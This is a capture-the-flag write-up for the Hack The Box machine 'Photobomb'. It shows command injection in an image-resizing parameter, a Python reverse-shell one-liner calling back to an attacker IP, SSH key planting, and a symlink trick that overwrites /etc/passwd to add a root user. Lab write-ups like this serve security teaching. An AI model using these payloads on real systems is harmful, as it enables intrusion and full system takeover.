Box Info

Introduction

Photobomb is a fun box on Hackthebox where we initially get hardcoded credentials in a Javascript file, which we can use to authenticate with basic auth to access the image resizing tool, which has command injection leading to us getting a reverse shell.

After getting initial access as user wizard, we see a cleanup.sh script which can be run as root. We then abuse the redirection operator > clobbering the /etc/passwd file to escalate our privileges by adding user wizard to group root.


Scanning

Nmap port scan

Nmap detects 2 open ports and rest 7 are closed.

# Nmap 7.92 scan initiated Sun Oct  9 02:05:59 2022 as: nmap -p- --min-rate=1500 -oN ports.nmap.txt 10.10.11.182
Nmap scan report for 10.10.11.182
Host is up (0.29s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
4597/tcp  filtered a21-an-1xbs
7697/tcp  filtered klio
26565/tcp filtered unknown
35695/tcp filtered unknown
37312/tcp filtered unknown
38229/tcp filtered unknown
53108/tcp filtered unknown
53470/tcp filtered unknown
61698/tcp filtered unknown

# Nmap done at Sun Oct  9 02:06:47 2022 -- 1 IP address (1 host up) scanned in 47.50 seconds

Nmap service/version scan

We already know which services might be running as these are popular ports 22 and 80. The service/version scan with nmap says the same.

We also see http on port 80 redirects us to http://photobomb.htb/

# Nmap 7.92 scan initiated Sun Oct  9 02:31:56 2022 as: nmap -p 22,80 -sC -sV -oN nmap.out 10.10.11.182
Nmap scan report for 10.10.11.182
Host is up (0.48s latency).

PORT      STATE  SERVICE     VERSION
22/tcp    open   ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp    open   http        nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct  9 02:32:22 2022 -- 1 IP address (1 host up) scanned in 26.41 seconds

Foothold

Visiting service on Port 80

Running curl gets us the same domain as seen in nmap scan. We now know that server used is: nginx/1.18.0 (Ubuntu).

$ curl -i 10.129.54.143:80
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 09 Oct 2022 06:38:07 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://photobomb.htb/

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

We add the same in /etc/hosts file of our attacker box.

1
2
...trim...
photobomb.htb   10.10.11.182

Clear Text credentials for the TechSupport team

Visiting http://photobomb.htb we get:

With any page that does not exists we get Sinatra doesn’t know this ditty. Here they are using Sinatra.

Inspecting the source of http://photobomb.htb, we see a file photobomb.js where we see credentials to access http://photobomb.htb/printer with Basic Auth.

Using this link http://pH0t0:b0Mb!@photobomb.htb/printer, we get logged into the page, and we can now access http://photobomb.htb/printer.

Command Injection in filetype param leading to reverse shell

Intercepting the request after clicking on “DOWNLOAD PHOTO TO PRINT” button we see 3 parameters: photo, filetype and dimensions

Testing a few payloads here, it is observed that we have command injection in filetype param. Using curl 10.10.XX.XX:8000 we get a pingback! (Where 10.10.XX.XX is the attacker box’s IP and 8000 port was opened using nc -lvnp 8000).

Read more about ‘what was the issue with server?’

We check crontab using crontab -l, and we see:

1
*/5 * * * *     /home/wizard/photobomb/photobomb.sh

Inside photobomb.sh we have

1
2
3
4
#!/bin/sh

cd $(dirname $(readlink -f "$0"))
ruby server.rb >>log/photobomb.log 2>&1

server.rb is the file that is used to server the web app.

We visit /home/wizard/photobomb where the source code is stored. Checking server.rb we see the below lines where filetype is handled incorrectly.

125
126
127
128
129
130
131
132
133
134
135
136
137
#...trim...

filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype
response['Content-Disposition'] = "attachment; filename=#{filename}"

if !File.exists?('resized_images/' + filename)
  command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename
  puts "Executing: #{command}"
  system(command)
else
  puts "File already exists."
end
#...trim...
  • Line 127 uses 2 vars, dimensions, and filetype.
  • Line 131 sets the command which will be executed later.

If we have photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg, dimensions=3000x2000 and filetype=jpg we have:

filename = mark-mc-neill-4xWHIpY2QcY-unsplash_3000x2000.jpg
command = 'convert source_images/mark-mc-neill-4xWHIpY2QcY-unsplash.jpg -resize 3000x2000 resized_images/mark-mc-neill-4xWHIpY2QcY-unsplash_3000x2000.jpg

Now as per the payload we tried earlier we put filetype=jpg;curl 10.10.XX.XX:8000

filename = mark-mc-neill-4xWHIpY2QcY-unsplash_3000x2000.jpg;curl 10.10.XX.XX:8000
command = 'convert source_images/mark-mc-neill-4xWHIpY2QcY-unsplash.jpg;curl 10.10.XX.XX:8000 -resize 3000x2000 resized_images/mark-mc-neill-4xWHIpY2QcY-unsplash_3000x2000.jpg;curl 10.10.XX.XX:8000

Thus the string ;curl 10.10.XX.XX:8000 gets appended to filetype variable. While executing the command with system(), with bash logic - commands separated by a ‘;’ are executed sequentially. (Read more..)

Hence, curl 10.10.XX.XX:8000 will be run breaking the remaining command after that.

We generate a reverse shell using https://www.revshells.com/, type: ‘Python3 shortest’.

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.XX.XX",8000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

Using the above command with filetype param and listening on port 8000 on our attacker box (again using nc -lvnp 8000), we get a shell back as user wizard!

We upgrade the shell by uploading our public ssh-key ~/.ssh/id_rsa.pub(from the attacker box) to /home/wizard/.ssh/authorized_keys (of target box). Then running the following to get a ssh session.

ssh wizard@photobomb.htb

We get user.txt


Escalating Privileges

Checking /etc/passwd we see that we have only 2 real users: root and wizard (for which we already have shell).

1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...trim...
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
wizard:x:1000:1000:wizard:/home/wizard:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false

We run sudo -ll to list user’s privileges or check a specific command.
wizard can run sudo /opt/cleanup.sh to run as user root

Read more about ‘why do we see only one command which can be run as root?’

The sudoers policy module determines a user’s sudo privileges. This policy is present in /etc/sudoers.

In Photobomb, we have: @includedir /etc/sudoers.d present in /etc/sudoers. This includes policy/rules set by any file inside /etc/sudoers.d folder and apply it.

In Photobomb, in /etc/sudoers.d we have:

root@photobomb:/etc/sudoers.d#
photobomb README
root@photobomb:/etc/sudoers.d# cat photobomb
wizard photobomb = (root) NOPASSWD:SETENV: /opt/cleanup.sh

The below format is used in /etc/sudoers.d/photobomb. (More info…)

1
2
3
4
# Format:
# <user list> <host list> = <operator list> <tag list> <command list>

wizard photobomb = (root) NOPASSWD:SETENV: /opt/cleanup.sh

Inspecting /opt/cleanup.sh

We use cat /opt/cleanup.sh to get the contents of cleanup.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless original
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

What this script does is:

  1. Loads /opt/.bashrc.
  2. Changes the directory to /home/wizard/photobomb.
  3. Perfoms checks on /home/wizard/photobomb/log/photobomb.log whether the FILE exists and has a size greater than zero and is not a symbolic link. 1
    • Then puts contents of /home/wizard/photobomb/log/photobomb.log to /home/wizard/photobomb/log/photobomb.log.old.
    • Clears contents of /home/wizard/photobomb/log/photobomb.log.
  4. For each image in /home/wizard/photobomb/source_images runs,
    chown root:root <filename>, which changes the owner and/or group of each FILE to OWNER and/or GROUP, in this case, OWNER as root and GROUP as root.

Abusing the redirection operator > in /opt/cleanup.sh to clobber /etc/passwd

Here, we can notice that whatever content is present in photobomb.log will be put into photobomb.log.old.
This allows us to dump anything we want into photobomb.log.old.
We can have a symbolic link for any file in the box and link it back to photobomb.log.old.

By this technique, we can have a symlink to /etc/passwd file and add a new user which is part of the GROUP root. 2

The /etc/passwd file’s structure 3 is as follows:

1
<username>:<encrypted pass>:<UID>:<GID>:<name>:<user home dir>:<login shell>

To create a new user v01d with root group membership we can use the below line:

1
v01d:<encrypted pass>:0:0:root:/root:/bin/bash

For generating the password we use openssl to generate a new password hash in the format used by /etc/passwd.

$ openssl passwd <newPassword>

We use spac3 in place of <newPassword>

┌──(kali㉿kali)-[~]
└─$ openssl passwd spac3
$1$CE.71rP3$4AYV4psv9Gpnmjsp3nwi6/

Now pasting that in, we get:

1
v01d:$1$CE.71rP3$4AYV4psv9Gpnmjsp3nwi6/:0:0:root:/root:/bin/bash

Now we do:

$ /usr/bin/truncate -s0 /home/wizard/photobomb/log/photobomb.log
$ cat /etc/passwd > /home/wizard/photobomb/log/photobomb.log
$ echo 'v01d:$1$CE.71rP3$4AYV4psv9Gpnmjsp3nwi6/:0:0:root:/root:/bin/bash' >> /home/wizard/photobomb/log/photobomb.log
$ rm /home/wizard/photobomb/log/photobomb.log.old
$ ln -s /etc/passwd /home/wizard/photobomb/log/photobomb.log.old
$ sudo /opt/cleanup.sh
$ su - v01d
# type in the password: spac3

We are ROOT!